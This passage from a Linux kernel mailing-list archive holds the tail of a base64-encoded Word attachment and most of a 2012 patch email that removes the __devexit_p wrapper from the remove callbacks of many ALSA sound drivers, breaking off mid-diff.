AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAK
AAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUA
AAAWAAAAFwAAABgAAAD+////GgAAABsAAAAcAAAAHQAAAB4AAAAfAAAAIAAA
AP7///8iAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAA
LAAAAC0AAAAuAAAA/v///zAAAAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAD+
////OAAAADkAAAA6AAAAOwAAADwAAAA9AAAAPgAAAP7////9////QQAAAP7/
///+/////v//////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
/////////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW
AAUB//////////8DAAAABgkCAAAAAADAAAAAAAAARgAAAAAAAAAAAAAAAIA6
kZSIvc0BQwAAAIAAAAAAAAAARABhAHQAYQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAgH/////
//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ
AAAAABAAAAAAAAAxAFQAYQBiAGwAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgACAQEAAAAGAAAA////
/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEAAADcGgAA
AAAAAFcAbwByAGQARABvAGMAdQBtAGUAbgB0AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIBAgAAAAUAAAD/////AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4wAAAAAAAABQBT
AHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAACgAAgH///////////////8AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvAAAAABAAAAAAAAAFAEQAbwBjAHUA
bQBlAG4AdABTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAA
AAAAAAAAAAAAOAACAQQAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAADcAAAAAEAAAAAAAAAEAQwBvAG0AcABPAGIAagAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAASAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/
//////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAABAAAA/v//////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
/////////////////////////////////////////wEA/v8DCgAA/////wYJ
AgAAAAAAwAAAAAAAAEYfAAAATWljcm9zb2Z0IE9mZmljZSBXb3JkIERvY3Vt
ZW50AAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1lbnQuOAD0ObJxAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA

--953002845-896190504-1352969971=:36019--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Pemberton <wfp5p@virginia.edu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.ports.arm.kernel
Subject: [PATCH 128/493] sound: remove use of __devexit_p
Date: Mon, 19 Nov 2012 13:21:17 -0500
Lines: 1593
Approved: news@gmane.org
Message-ID: <1353349642-3677-128-git-send-email-wfp5p@virginia.edu>
References: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1353350310 14186 80.91.229.3 (19 Nov 2012 18:38:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 19 Nov 2012 18:38:30 +0000 (UTC)
Cc: Russell King <linux@arm.linux.org.uk>,
	Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.de>,
	Eric Miao <eric.y.miao@gmail.com>,
	Haojian Zhuang <haojian.zhuang@gmail.com>,
	Clemens Ladisch <clemens@ladisch.de>,
	Thibaut Varene <T-Bone@parisc-linux.org>,
	Jaya Kumar <jayakumar.alsa@gmail.com>,
	alsa-devel@alsa-project.org, linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 19 19:38:36 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TaWEs-0007iG-L2
	for glpp-linux-parisc@plane.gmane.org; Mon, 19 Nov 2012 19:38:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754521Ab2KSSiX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 19 Nov 2012 13:38:23 -0500
Original-Received: from viridian.itc.Virginia.EDU ([128.143.12.139]:41651 "EHLO
	viridian.itc.virginia.edu" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754519Ab2KSSiI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 19 Nov 2012 13:38:08 -0500
X-Greylist: delayed 415 seconds by postgrey-1.27 at vger.kernel.org; Mon, 19 Nov 2012 13:38:08 EST
Original-Received: by viridian.itc.virginia.edu (Postfix, from userid 1249)
	id 6E034802F9; Mon, 19 Nov 2012 13:27:30 -0500 (EST)
X-Mailer: git-send-email 1.8.0
In-Reply-To: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4674 gmane.linux.alsa.devel:103046 gmane.linux.ports.arm.kernel:201107
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4674>

CONFIG_HOTPLUG is going away as an option so __devexit_p is no longer
needed.

Signed-off-by: Bill Pemberton <wfp5p@virginia.edu>
Cc: Russell King <linux@arm.linux.org.uk> 
Cc: Jaroslav Kysela <perex@perex.cz> 
Cc: Takashi Iwai <tiwai@suse.de> 
Cc: Eric Miao <eric.y.miao@gmail.com> 
Cc: Haojian Zhuang <haojian.zhuang@gmail.com> 
Cc: Clemens Ladisch <clemens@ladisch.de> 
Cc: Thibaut Varene <T-Bone@parisc-linux.org> 
Cc: Jaya Kumar <jayakumar.alsa@gmail.com> 
Cc: alsa-devel@alsa-project.org 
Cc: linux-arm-kernel@lists.infradead.org 
Cc: linux-parisc@vger.kernel.org 
---
 sound/arm/aaci.c                    | 2 +-
 sound/arm/pxa2xx-ac97.c             | 2 +-
 sound/atmel/abdac.c                 | 2 +-
 sound/atmel/ac97c.c                 | 2 +-
 sound/drivers/aloop.c               | 2 +-
 sound/drivers/dummy.c               | 2 +-
 sound/drivers/mpu401/mpu401.c       | 4 ++--
 sound/drivers/mtpav.c               | 2 +-
 sound/drivers/mts64.c               | 2 +-
 sound/drivers/pcsp/pcsp.c           | 2 +-
 sound/drivers/portman2x4.c          | 2 +-
 sound/drivers/serial-u16550.c       | 2 +-
 sound/drivers/virmidi.c             | 2 +-
 sound/firewire/speakers.c           | 2 +-
 sound/isa/ad1816a/ad1816a.c         | 2 +-
 sound/isa/ad1848/ad1848.c           | 2 +-
 sound/isa/adlib.c                   | 2 +-
 sound/isa/als100.c                  | 2 +-
 sound/isa/azt2320.c                 | 2 +-
 sound/isa/cmi8328.c                 | 2 +-
 sound/isa/cmi8330.c                 | 4 ++--
 sound/isa/cs423x/cs4231.c           | 2 +-
 sound/isa/cs423x/cs4236.c           | 6 +++---
 sound/isa/es1688/es1688.c           | 4 ++--
 sound/isa/es18xx.c                  | 6 +++---
 sound/isa/galaxy/galaxy.c           | 2 +-
 sound/isa/gus/gusclassic.c          | 2 +-
 sound/isa/gus/gusextreme.c          | 2 +-
 sound/isa/gus/gusmax.c              | 2 +-
 sound/isa/gus/interwave.c           | 4 ++--
 sound/isa/msnd/msnd_pinnacle.c      | 4 ++--
 sound/isa/opl3sa2.c                 | 6 +++---
 sound/isa/opti9xx/miro.c            | 4 ++--
 sound/isa/opti9xx/opti92x-ad1848.c  | 4 ++--
 sound/isa/sb/jazz16.c               | 2 +-
 sound/isa/sb/sb16.c                 | 4 ++--
 sound/isa/sb/sb8.c                  | 2 +-
 sound/isa/sc6000.c                  | 2 +-
 sound/isa/sscape.c                  | 4 ++--
 sound/isa/wavefront/wavefront.c     | 4 ++--
 sound/mips/hal2.c                   | 2 +-
 sound/mips/sgio2audio.c             | 2 +-
 sound/oss/kahlua.c                  | 2 +-
 sound/parisc/harmony.c              | 2 +-
 sound/pci/ad1889.c                  | 2 +-
 sound/pci/ali5451/ali5451.c         | 2 +-
 sound/pci/als300.c                  | 2 +-
 sound/pci/als4000.c                 | 2 +-
 sound/pci/asihpi/asihpi.c           | 2 +-
 sound/pci/atiixp.c                  | 2 +-
 sound/pci/atiixp_modem.c            | 2 +-
 sound/pci/au88x0/au88x0.c           | 2 +-
 sound/pci/aw2/aw2-alsa.c            | 2 +-
 sound/pci/azt3328.c                 | 2 +-
 sound/pci/bt87x.c                   | 2 +-
 sound/pci/ca0106/ca0106_main.c      | 2 +-
 sound/pci/cmipci.c                  | 2 +-
 sound/pci/cs4281.c                  | 2 +-
 sound/pci/cs46xx/cs46xx.c           | 2 +-
 sound/pci/cs5530.c                  | 2 +-
 sound/pci/cs5535audio/cs5535audio.c | 2 +-
 sound/pci/ctxfi/xfi.c               | 2 +-
 sound/pci/echoaudio/echoaudio.c     | 2 +-
 sound/pci/emu10k1/emu10k1.c         | 2 +-
 sound/pci/emu10k1/emu10k1x.c        | 2 +-
 sound/pci/ens1370.c                 | 2 +-
 sound/pci/es1938.c                  | 2 +-
 sound/pci/es1968.c                  | 2 +-
 sound/pci/fm801.c                   | 2 +-
 sound/pci/hda/hda_intel.c           | 2 +-
 sound/pci/ice1712/ice1712.c         | 2 +-
 sound/pci/ice1712/ice1724.c         | 2 +-
 sound/pci/intel8x0.c                | 2 +-
 sound/pci/intel8x0m.c               | 2 +-
 sound/pci/korg1212/korg1212.c       | 2 +-
 sound/pci/lola/lola.c               | 2 +-
 sound/pci/lx6464es/lx6464es.c       | 2 +-
 sound/pci/maestro3.c                | 2 +-
 sound/pci/mixart/mixart.c           | 2 +-
 sound/pci/nm256/nm256.c             | 2 +-
 sound/pci/oxygen/oxygen.c           | 2 +-
 sound/pci/oxygen/virtuoso.c         | 2 +-
 sound/pci/pcxhr/pcxhr.c             | 2 +-
 sound/pci/riptide/riptide.c         | 4 ++--
 sound/pci/rme32.c                   | 2 +-
 sound/pci/rme96.c                   | 2 +-
 sound/pci/rme9652/hdsp.c            | 2 +-
 sound/pci/rme9652/hdspm.c           | 2 +-
 sound/pci/rme9652/rme9652.c         | 2 +-
 sound/pci/sis7019.c                 | 2 +-
 sound/pci/sonicvibes.c              | 2 +-
 sound/pci/trident/trident.c         | 2 +-
 sound/pci/via82xx.c                 | 2 +-
 sound/pci/via82xx_modem.c           | 2 +-
 sound/pci/vx222/vx222.c             | 2 +-
 sound/pci/ymfpci/ymfpci.c           | 2 +-
 sound/ppc/powermac.c                | 2 +-
 sound/sh/aica.c                     | 2 +-
 sound/sparc/cs4231.c                | 2 +-
 sound/sparc/dbri.c                  | 2 +-
 sound/spi/at73c213.c                | 2 +-
 101 files changed, 118 insertions(+), 118 deletions(-)

diff --git a/sound/arm/aaci.c b/sound/arm/aaci.c
index 5119fda..eb9cad3 100644
--- a/sound/arm/aaci.c
+++ b/sound/arm/aaci.c
@@ -1104,7 +1104,7 @@ static struct amba_driver aaci_driver = {
 		.name	= DRIVER_NAME,
 	},
 	.probe		= aaci_probe,
-	.remove		= __devexit_p(aaci_remove),
+	.remove		= aaci_remove,
 	.suspend	= aaci_suspend,
 	.resume		= aaci_resume,
 	.id_table	= aaci_ids,
diff --git a/sound/arm/pxa2xx-ac97.c b/sound/arm/pxa2xx-ac97.c
index 4e1fda7..6a5d7b3 100644
--- a/sound/arm/pxa2xx-ac97.c
+++ b/sound/arm/pxa2xx-ac97.c
@@ -239,7 +239,7 @@ static int __devexit pxa2xx_ac97_remove(struct platform_device *dev)
 
 static struct platform_driver pxa2xx_ac97_driver = {
 	.probe		= pxa2xx_ac97_probe,
-	.remove		= __devexit_p(pxa2xx_ac97_remove),
+	.remove		= pxa2xx_ac97_remove,
 	.driver		= {
 		.name	= "pxa2xx-ac97",
 		.owner	= THIS_MODULE,
diff --git a/sound/atmel/abdac.c b/sound/atmel/abdac.c
index 277ebce..ba14434 100644
--- a/sound/atmel/abdac.c
+++ b/sound/atmel/abdac.c
@@ -589,7 +589,7 @@ static int __devexit atmel_abdac_remove(struct platform_device *pdev)
 }
 
 static struct platform_driver atmel_abdac_driver = {
-	.remove		= __devexit_p(atmel_abdac_remove),
+	.remove		= atmel_abdac_remove,
 	.driver		= {
 		.name	= "atmel_abdac",
 		.owner	= THIS_MODULE,
diff --git a/sound/atmel/ac97c.c b/sound/atmel/ac97c.c
index 9052aff..a4bcd8d 100644
--- a/sound/atmel/ac97c.c
+++ b/sound/atmel/ac97c.c
@@ -1205,7 +1205,7 @@ static int __devexit atmel_ac97c_remove(struct platform_device *pdev)
 }
 
 static struct platform_driver atmel_ac97c_driver = {
-	.remove		= __devexit_p(atmel_ac97c_remove),
+	.remove		= atmel_ac97c_remove,
 	.driver		= {
 		.name	= "atmel_ac97c",
 		.owner	= THIS_MODULE,
diff --git a/sound/drivers/aloop.c b/sound/drivers/aloop.c
index 1904046..c4ed8ef 100644
--- a/sound/drivers/aloop.c
+++ b/sound/drivers/aloop.c
@@ -1215,7 +1215,7 @@ static SIMPLE_DEV_PM_OPS(loopback_pm, loopback_suspend, loopback_resume);
 
 static struct platform_driver loopback_driver = {
 	.probe		= loopback_probe,
-	.remove		= __devexit_p(loopback_remove),
+	.remove		= loopback_remove,
 	.driver		= {
 		.name	= SND_LOOPBACK_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/drivers/dummy.c b/sound/drivers/dummy.c
index 4f522cf4..339a924 100644
--- a/sound/drivers/dummy.c
+++ b/sound/drivers/dummy.c
@@ -1162,7 +1162,7 @@ static SIMPLE_DEV_PM_OPS(snd_dummy_pm, snd_dummy_suspend, snd_dummy_resume);
 
 static struct platform_driver snd_dummy_driver = {
 	.probe		= snd_dummy_probe,
-	.remove		= __devexit_p(snd_dummy_remove),
+	.remove		= snd_dummy_remove,
 	.driver		= {
 		.name	= SND_DUMMY_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/drivers/mpu401/mpu401.c b/sound/drivers/mpu401/mpu401.c
index bc03a20..5a7136e 100644
--- a/sound/drivers/mpu401/mpu401.c
+++ b/sound/drivers/mpu401/mpu401.c
@@ -137,7 +137,7 @@ static int __devexit snd_mpu401_remove(struct platform_device *devptr)
 
 static struct platform_driver snd_mpu401_driver = {
 	.probe		= snd_mpu401_probe,
-	.remove		= __devexit_p(snd_mpu401_remove),
+	.remove		= snd_mpu401_remove,
 	.driver		= {
 		.name	= SND_MPU401_DRIVER,
 		.owner	= THIS_MODULE,
@@ -223,7 +223,7 @@ static struct pnp_driver snd_mpu401_pnp_driver = {
 	.name = "mpu401",
 	.id_table = snd_mpu401_pnpids,
 	.probe = snd_mpu401_pnp_probe,
-	.remove = __devexit_p(snd_mpu401_pnp_remove),
+	.remove = snd_mpu401_pnp_remove,
 };
 #else
 static struct pnp_driver snd_mpu401_pnp_driver;
diff --git a/sound/drivers/mtpav.c b/sound/drivers/mtpav.c
index cad73af..ebeff33 100644
--- a/sound/drivers/mtpav.c
+++ b/sound/drivers/mtpav.c
@@ -757,7 +757,7 @@ static int __devexit snd_mtpav_remove(struct platform_device *devptr)
 
 static struct platform_driver snd_mtpav_driver = {
 	.probe		= snd_mtpav_probe,
-	.remove		= __devexit_p(snd_mtpav_remove),
+	.remove		= snd_mtpav_remove,
 	.driver		= {
 		.name	= SND_MTPAV_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/drivers/mts64.c b/sound/drivers/mts64.c
index 2d5514b..d2b9e09 100644
--- a/sound/drivers/mts64.c
+++ b/sound/drivers/mts64.c
@@ -1038,7 +1038,7 @@ static int __devexit snd_mts64_remove(struct platform_device *pdev)
 
 static struct platform_driver snd_mts64_driver = {
 	.probe  = snd_mts64_probe,
-	.remove = __devexit_p(snd_mts64_remove),
+	.remove = snd_mts64_remove,
 	.driver = {
 		.name = PLATFORM_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/drivers/pcsp/pcsp.c b/sound/drivers/pcsp/pcsp.c
index ef17129..c9e5af9 100644
--- a/sound/drivers/pcsp/pcsp.c
+++ b/sound/drivers/pcsp/pcsp.c
@@ -227,7 +227,7 @@ static struct platform_driver pcsp_platform_driver = {
 		.pm	= PCSP_PM_OPS,
 	},
 	.probe		= pcsp_probe,
-	.remove		= __devexit_p(pcsp_remove),
+	.remove		= pcsp_remove,
 	.shutdown	= pcsp_shutdown,
 };
 
diff --git a/sound/drivers/portman2x4.c b/sound/drivers/portman2x4.c
index 8364855..c7df9dd 100644
--- a/sound/drivers/portman2x4.c
+++ b/sound/drivers/portman2x4.c
@@ -827,7 +827,7 @@ static int __devexit snd_portman_remove(struct platform_device *pdev)
 
 static struct platform_driver snd_portman_driver = {
 	.probe  = snd_portman_probe,
-	.remove = __devexit_p(snd_portman_remove),
+	.remove = snd_portman_remove,
 	.driver = {
 		.name = PLATFORM_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/drivers/serial-u16550.c b/sound/drivers/serial-u16550.c
index 8670067..8930e23 100644
--- a/sound/drivers/serial-u16550.c
+++ b/sound/drivers/serial-u16550.c
@@ -993,7 +993,7 @@ static int __devexit snd_serial_remove(struct platform_device *devptr)
 
 static struct platform_driver snd_serial_driver = {
 	.probe		= snd_serial_probe,
-	.remove		= __devexit_p( snd_serial_remove),
+	.remove		=  snd_serial_remove,
 	.driver		= {
 		.name	= SND_SERIAL_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/drivers/virmidi.c b/sound/drivers/virmidi.c
index d7d514d..edcc0b1 100644
--- a/sound/drivers/virmidi.c
+++ b/sound/drivers/virmidi.c
@@ -140,7 +140,7 @@ static int __devexit snd_virmidi_remove(struct platform_device *devptr)
 
 static struct platform_driver snd_virmidi_driver = {
 	.probe		= snd_virmidi_probe,
-	.remove		= __devexit_p(snd_virmidi_remove),
+	.remove		= snd_virmidi_remove,
 	.driver		= {
 		.name	= SND_VIRMIDI_DRIVER,
 		.owner	= THIS_MODULE,
diff --git a/sound/firewire/speakers.c b/sound/firewire/speakers.c
index 297244e..040acff 100644
--- a/sound/firewire/speakers.c
+++ b/sound/firewire/speakers.c
@@ -834,7 +834,7 @@ static struct fw_driver fwspk_driver = {
 		.name	= KBUILD_MODNAME,
 		.bus	= &fw_bus_type,
 		.probe	= fwspk_probe,
-		.remove	= __devexit_p(fwspk_remove),
+		.remove	= fwspk_remove,
 	},
 	.update   = fwspk_bus_reset,
 	.id_table = fwspk_id_table,
diff --git a/sound/isa/ad1816a/ad1816a.c b/sound/isa/ad1816a/ad1816a.c
index 2c2f829..e8c54d8 100644
--- a/sound/isa/ad1816a/ad1816a.c
+++ b/sound/isa/ad1816a/ad1816a.c
@@ -270,7 +270,7 @@ static struct pnp_card_driver ad1816a_pnpc_driver = {
 	.name		= "ad1816a",
 	.id_table	= snd_ad1816a_pnpids,
 	.probe		= snd_ad1816a_pnp_detect,
-	.remove		= __devexit_p(snd_ad1816a_pnp_remove),
+	.remove		= snd_ad1816a_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_ad1816a_pnp_suspend,
 	.resume		= snd_ad1816a_pnp_resume,
diff --git a/sound/isa/ad1848/ad1848.c b/sound/isa/ad1848/ad1848.c
index 2af77fa..8e0a9b7 100644
--- a/sound/isa/ad1848/ad1848.c
+++ b/sound/isa/ad1848/ad1848.c
@@ -164,7 +164,7 @@ static int snd_ad1848_resume(struct device *dev, unsigned int n)
 static struct isa_driver snd_ad1848_driver = {
 	.match		= snd_ad1848_match,
 	.probe		= snd_ad1848_probe,
-	.remove		= __devexit_p(snd_ad1848_remove),
+	.remove		= snd_ad1848_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_ad1848_suspend,
 	.resume		= snd_ad1848_resume,
diff --git a/sound/isa/adlib.c b/sound/isa/adlib.c
index 4d50c69..87add77 100644
--- a/sound/isa/adlib.c
+++ b/sound/isa/adlib.c
@@ -108,7 +108,7 @@ static int __devexit snd_adlib_remove(struct device *dev, unsigned int n)
 static struct isa_driver snd_adlib_driver = {
 	.match		= snd_adlib_match,
 	.probe		= snd_adlib_probe,
-	.remove		= __devexit_p(snd_adlib_remove),
+	.remove		= snd_adlib_remove,
 
 	.driver		= {
 		.name	= DEV_NAME
diff --git a/sound/isa/als100.c b/sound/isa/als100.c
index f7cdaf5..60c96a1 100644
--- a/sound/isa/als100.c
+++ b/sound/isa/als100.c
@@ -344,7 +344,7 @@ static struct pnp_card_driver als100_pnpc_driver = {
 	.name		= "als100",
         .id_table       = snd_als100_pnpids,
         .probe          = snd_als100_pnp_detect,
-        .remove         = __devexit_p(snd_als100_pnp_remove),
+	.remove		= snd_als100_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_als100_pnp_suspend,
 	.resume		= snd_als100_pnp_resume,
diff --git a/sound/isa/azt2320.c b/sound/isa/azt2320.c
index 6a2c78e..219b611 100644
--- a/sound/isa/azt2320.c
+++ b/sound/isa/azt2320.c
@@ -320,7 +320,7 @@ static struct pnp_card_driver azt2320_pnpc_driver = {
 	.name           = "azt2320",
 	.id_table       = snd_azt2320_pnpids,
 	.probe          = snd_azt2320_pnp_detect,
-	.remove         = __devexit_p(snd_azt2320_pnp_remove),
+	.remove         = snd_azt2320_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_azt2320_pnp_suspend,
 	.resume		= snd_azt2320_pnp_resume,
diff --git a/sound/isa/cmi8328.c b/sound/isa/cmi8328.c
